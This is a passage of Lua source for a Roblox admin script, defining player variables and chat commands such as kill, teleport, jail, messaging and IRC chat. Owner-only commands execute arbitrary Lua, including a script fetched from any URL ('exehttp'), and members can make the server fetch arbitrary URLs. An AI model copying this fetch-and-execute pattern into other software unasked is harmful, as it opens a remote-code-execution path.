5077 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5078 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5079 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5080 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5081 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5082 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5083 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5084 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5085 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5086 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5087
5088 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5089 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5090 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5091 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5092 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5093 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5094 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5095 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5096 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5097 {"_BENCH", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
5098 {"_BENCHMARK", "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return ClientInfo[Player.Name].Benchmark else return "[NO BENCHMARK]" end end};
5099 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) end end};
5100 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) end end};
5101 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) end end};
5102 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5103 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5104}
5105
5106---- COMMANDS ----
5107
5108-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5109
5110Commands = { -- can't make local
5111 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5112 print("[MML's Admin]: Test message from "..Speaker.Name)
5113 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5114 end};
5115
5116 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5117 local Players = STRING:Scan(Arguments[1], Speaker)
5118 for _,Player in pairs(Players) do
5119 if Player.Character then
5120 Player.Character:BreakJoints()
5121 end
5122 end
5123 end};
5124
5125 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5126 local Players = STRING:Scan(Arguments[1], Speaker)
5127 for _,Player in pairs(Players) do
5128 if Player.Character then
5129 Instance.new("ForceField", Player.Character)
5130 end
5131 end
5132 end};
5133
5134 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5135 local Players = STRING:Scan(Arguments[1], Speaker)
5136 for _,Player in pairs(Players) do
5137 if Player.Character then
5138 for _,Get in pairs(Player.Character:GetChildren()) do
5139 if Get:IsA("ForceField") then
5140 Get:Destroy()
5141 end
5142 end
5143 end
5144 end
5145 end};
5146
5147 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5148 for _,Player in pairs(Server.Players:GetPlayers()) do
5149 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true)
5150 end
5151 end};
5152
5153 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5154 for _,Player in pairs(Server.Players:GetPlayers()) do
5155 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569)
5156 end
5157 end};
5158
5159 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5160 local Players = STRING:Scan(Arguments[1], Speaker)
5161 for _,Player in pairs(Players) do
5162 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20)
5163 end
5164 end};
5165
5166 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5167 for _,Player in pairs(Server.Players:GetPlayers()) do
5168 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24})
5169 end
5170 end};
5171
5172 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5173 local Players = STRING:Scan(Arguments[1], Speaker)
5174 for _,Player in pairs(Players) do
5175 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24})
5176 end
5177 end};
5178
5179 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5180 local Players = STRING:Scan(Arguments[1], Speaker)
5181 local AgeList = {}
5182 for _,Player in pairs(Players) do
5183 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5184 end
5185 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5186 end};
5187
5188 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5189 local Players = STRING:Scan(Arguments[1], Speaker)
5190 local AgeList = {}
5191 for _,Player in pairs(Players) do
5192 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5193 end
5194 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5195 for _,Player in pairs(SecondPlayers) do
5196 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5197 end
5198 end};
5199
5200 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5201 local Storage = {{}, {}, {}, {}}
5202 local StorageText = {}
5203 local Formatted = {}
5204 for CommandNames,Data in pairs(Commands) do
5205 if not Data.Hidden then
5206 local RankNeeded = RANK:ConvertRank(Data[4])
5207 local Add = ""
5208 if Data[4] == "Non-Admin" then Add = "BLACK " end
5209 if Data[4] == "Admin" then Add = "CYAN " end
5210 if Data[4] == "Member" then Add = "BLUE " end
5211 if Data[4] == "Owner" then Add = "GREEN " end
5212 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5213 local AddBet = Settings.Bet
5214 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5215 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5216 table.insert(Storage[RankNeeded + 1], Add..Text)
5217 StorageText[Text] = CommandNames
5218 end
5219 end
5220 for Num,_ in pairs(Storage) do
5221 table.sort(Storage[Num])
5222 end
5223 for _,Table in pairs(Storage) do
5224 for _,Command in pairs(Table) do
5225 table.insert(Formatted, Command)
5226 end
5227 end
5228 local Clicked = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5229 Clicked.Event:connect(function(Text)
5230 GUI:ShowCommand(Speaker, StorageText[Text])
5231 end)
5232 end};
5233
5234 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5235 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5236 end};
5237
5238 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5239 if GUI:GetColor(Arguments[1]) then
5240 local ColorScheme = string.upper(Arguments[1])
5241 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5242 Settings.ColorScheme = ColorScheme
5243 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5244 else
5245 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5246 end
5247 end};
5248
5249 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5250 local List = {}
5251 for Color,_ in pairs(Colors) do
5252 table.insert(List, Color.." "..Color)
5253 end
5254 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5255 end};
5256
5257 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5258 local Transparency = tonumber(Arguments[1])
5259 if Transparency then
5260 if Transparency > 90 then Transparency = 90 end
5261 if Transparency < 10 then Transparency = 10 end
5262 Settings.TransparencyScheme = Transparency/100
5263
5264 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5265 else
5266 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5267 end
5268 end};
5269
5270 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5271 if Fonts[Arguments[1]] then
5272 Settings.Font = Arguments[1]
5273 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5274 end
5275 end};
5276
5277 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5278 Settings.Fun = not Settings.Fun
5279 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5280 end};
5281
5282 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5283 Settings.DisableAbuse = not Settings.DisableAbuse
5284 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5285 end};
5286
5287 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5288 local List = {}
5289 for Font,_ in pairs(Fonts) do
5290 if Font == Settings.Font then
5291 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5292 else
5293 table.insert(List, Font.." "..Font)
5294 end
5295 end
5296 GUI:ListGui(Speaker, "Font list", List, 44453197)
5297 end};
5298
5299 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5300 local SoundID = tonumber(Arguments[1])
5301 if SoundID then
5302 Settings.ExecuteNotificationSound = SoundID
5303
5304 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5305 else
5306 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5307 end
5308 end};
5309
5310 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5311 Settings.ExecuteNotificationSound = 0
5312 end};
5313
5314 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5315 local Players = STRING:Scan(Arguments[1], Speaker)
5316 for _,Player in pairs(Players) do
5317 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5318 end
5319 end};
5320
5321 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5322 local Players = STRING:Scan(Arguments[1], Speaker)
5323 for _,Player in pairs(Players) do
5324 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5325 end
5326 end};
5327
5328 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5329 local Players = STRING:Scan(Arguments[1], Speaker)
5330 for _,Player in pairs(Players) do
5331 coroutine.wrap(function()
5332 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5333 wait(1)
5334 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5335 end)()
5336 end
5337 end, Hidden = true};
5338
5339 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5340 local Players = STRING:Scan(Arguments[1], Speaker)
5341 for _,Player in pairs(Players) do
5342 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5343 end
5344 end};
5345
5346 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5347 local Players = STRING:Scan(Arguments[1], Speaker)
5348 for _,Player in pairs(Players) do
5349 CORE:ChangeName(Player, Arguments[2])
5350 end
5351 end};
5352
5353 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5354 local Players = STRING:Scan(Arguments[1], Speaker)
5355 for _,Player in pairs(Players) do
5356 if Player.Character then
5357 local Head = Player.Character:FindFirstChild("Label")
5358 if Head then Head:Destroy() end
5359 local Head = Player.Character:FindFirstChild("Head")
5360 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5361 end
5362 end
5363 end};
5364
5365 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5366 local Players = STRING:Scan(Arguments[1], Speaker)
5367 for _,Player in pairs(Players) do
5368 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5369 end
5370 end};
5371
5372 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5373 local Players = STRING:Scan(Arguments[1], Speaker)
5374 for _,Player in pairs(Players) do
5375 local _,RankNum = RANK:GetRank(Player)
5376 if RankNum <= RANK:ConvertRank(Rank) then
5377 Server.TS:Teleport(Arguments[2], Player)
5378 end
5379 end
5380 end};
5381
5382 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5383 local Players = STRING:Scan(Arguments[1], Speaker)
5384 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5385 if Suc then
5386 for _,Player in pairs(Players) do
5387 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5388 end
5389 else
5390 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5391 end
5392 end};
5393
5394 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5395 local Players = STRING:Scan(Arguments[1], Speaker)
5396 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5397 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5398 if Suc then
5399 for _,Player in pairs(Players) do
5400 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5401 end
5402 else
5403 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5404 end
5405 end)
5406 end};
5407
5408 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5409 local Players = STRING:Scan(Arguments[1], Speaker)
5410 for _,Player in pairs(Players) do
5411 local _,RankNum = RANK:GetRank(Player)
5412 if RankNum < RANK:ConvertRank(Rank) then
5413 Server.TS:Teleport(155307015, Player)
5414 end
5415 end
5416 end};
5417
5418 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5419 local Players = STRING:Scan(Arguments[1], Speaker)
5420 for _,Player in pairs(Players) do
5421 local _,RankNum = RANK:GetRank(Player)
5422 if RankNum < RANK:ConvertRank(Rank) then
5423 Server.TS:Teleport(347911447, Player)
5424 end
5425 end
5426 end};
5427
5428 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5429 local Players = STRING:Scan(Arguments[1], Speaker)
5430 for _,Player in pairs(Players) do
5431 CORE:GenerateShield(Player)
5432 end
5433 end};
5434
5435 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5436 local Players = STRING:Scan(Arguments[1], Speaker)
5437 for _,Player in pairs(Players) do
5438 if Player.Character then
5439 local Shield = Player.Character:FindFirstChild("Shield")
5440 if Shield then Shield:Destroy() end
5441 end
5442 end
5443 end};
5444
5445 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5446 local Num = tonumber(Arguments[1])
5447 if Num and Num ~= 0 then
5448 local Random = math.random(1,math.abs(Num))
5449 if Random == math.random(1,math.abs(Num)) then
5450 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5451 else
5452 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5453 end
5454 else
5455 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5456 end
5457 end};
5458
5459 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5460 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5461 IRC:AddChat(Speaker.Name, Arguments[1])
5462 end};
5463
5464 --[[
5465 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5466 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5467 if Res then
5468 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5469 end
5470 end, Http = true};
5471
5472 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5473 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5474 if Res then
5475 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5476 end
5477 end}, Http = true;
5478 ]]
5479
5480 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5481 IRC:Quit("Reconnecting")
5482 IRC:ConnectToServer(Settings.IRCServer)
5483 end};
5484
5485 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5486 local Players = STRING:Scan(Arguments[1], Speaker)
5487 for _,Player in pairs(Players) do
5488 local PreAdd = {}
5489 for _,Data in pairs(IRC.Chats) do
5490 local Error = nil
5491 if Rank == "Owner" then Error = Data[3] end
5492 table.insert(PreAdd, {Data[1], Data[2], Error})
5493 end
5494 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5495 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5496 if Rank ~= "Owner" then Error = nil end
5497 AddMessage:Invoke(UserName, Message, Error)
5498 end)
5499 SendPressed.Event:connect(function(Text)
5500 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5501 IRC:AddChat(Player.Name, Text)
5502 end)
5503 end
5504 end};
5505
5506 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5507 local Players = STRING:Scan(Arguments[1], Speaker)
5508 for _,Player in pairs(Players) do
5509 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5510 if Type == "Leave" then
5511 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5512 elseif Type == "Join" then
5513 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5514 end
5515 end)
5516 PriChat.Chatted.Event:connect(function(UserName, Message)
5517 AddMessage:Invoke(UserName, Message)
5518 end)
5519 SendPressed.Event:connect(function(Text)
5520 PriChat.Chatted:Fire(Player.Name, Text)
5521 table.insert(PriChat.Chats, {Player.Name, Text})
5522 end)
5523 end
5524 end};
5525
5526 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5527 ExecuteSafe(Arguments[1], Speaker)
5528 end};
5529
5530 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5531 local Script = REMOTE:GetURL(Arguments[1], Player)
5532 if Script then
5533 ExecuteSafe(Script, Speaker)
5534 end
5535 end, Http = true};
5536
5537 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5538 local Time = tick()
5539 local Res = REMOTE:GetURL(Arguments[1], Player)
5540 if Res then
5541 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5542 end
5543 end, Http = true};
5544
5545 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5546 CORE:RemoveAdmin(Speaker)
5547 end};
5548
5549 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5550 for _,Player in pairs(Server.Players:GetPlayers()) do
5551 GUI:SendHint(Player, Arguments[1])
5552 end
5553 end};
5554
5555 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5556 local Players = STRING:Scan(Arguments[1], Speaker)
5557 local Debt = nil
5558 for _,Player in pairs(Players) do
5559 if not Debt then
5560 Debt = GUI:ShowDebtStats(Player)
5561 else
5562 GUI:ShowDebtStats(Player, Debt)
5563 end
5564 end
5565 end, Http = true};
5566
5567 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5568 local Players = STRING:Scan(Arguments[1], Speaker)
5569 for _,Player in pairs(Players) do
5570 GUI:CreateHUD(Player)
5571 end
5572 end};
5573
5574 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5575 local Players = STRING:Scan(Arguments[1], Speaker)
5576 for _,Player in pairs(Players) do
5577 if Player:FindFirstChild("PlayerGui") then
5578 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5579 if HUD then HUD:Destroy() end
5580 end
5581 end
5582 end};
5583
5584 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5585 local Players = STRING:Scan(Arguments[1], Speaker)
5586 GUI:Vote(Speaker, Players, Arguments[2], 30)
5587 end};
5588
5589 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5590 local Players = STRING:Scan(Arguments[1], Speaker)
5591 for _,Player in pairs(Players) do
5592 CORE:ExecuteResource("Bomb", Player.Character)
5593 end
5594 end};
5595
5596 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5597 local Players = STRING:Scan(Arguments[1], Speaker)
5598 for _,Player in pairs(Players) do
5599 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5600 CORE:RestoreCamera(Player)
5601 end
5602 end};
5603
5604 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5605 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5606 CORE:RestoreCamera(Speaker)
5607 end};
5608
5609 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5610 local Players1 = STRING:Scan(Arguments[1], Speaker)
5611 local Players2 = STRING:Scan(Arguments[2], Speaker)
5612 for _,Player1 in pairs(Players1) do
5613 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5614 for _,Player2 in pairs(Players2) do
5615 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5616 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5617 end
5618 end
5619 end
5620 end
5621 end};
5622
5623 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5624 local Players = STRING:Scan(Arguments[1], Speaker)
5625 for _,Player in pairs(Players) do
5626 Player:LoadCharacter()
5627 end
5628 end};
5629
5630 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5631 local Players = STRING:Scan(Arguments[1], Speaker)
5632 for _,Player in pairs(Players) do
5633 CORE:RestoreCamera(Player)
5634 end
5635 end};
5636
5637 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5638 local Players = STRING:Scan(Arguments[1], Speaker)
5639 for _,Player in pairs(Players) do
5640 CORE:Jail(Player)
5641 end
5642 end};
5643
5644 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5645 local Players = STRING:Scan(Arguments[1], Speaker)
5646 for _,Player in pairs(Players) do
5647 CORE:UnJail(Player)
5648 end
5649 end};
5650
5651 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5652 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5653 end};
5654
5655 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5656 SOUND:StopSpeaking()
5657 end};
5658
5659 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5660 local Players = STRING:Scan(Arguments[1], Speaker)
5661 local Compile = {}
5662 for Num,Player in pairs(Players) do
5663 local PlayerRank = RANK:GetRank(Player)
5664 local PlayerInfo = ClientInfo[Player.Name]
5665 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5666 table.insert(Compile, "User ID: "..Player.UserId)
5667 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5668 table.insert(Compile, "Rank: "..PlayerRank)
5669
5670 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5671 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
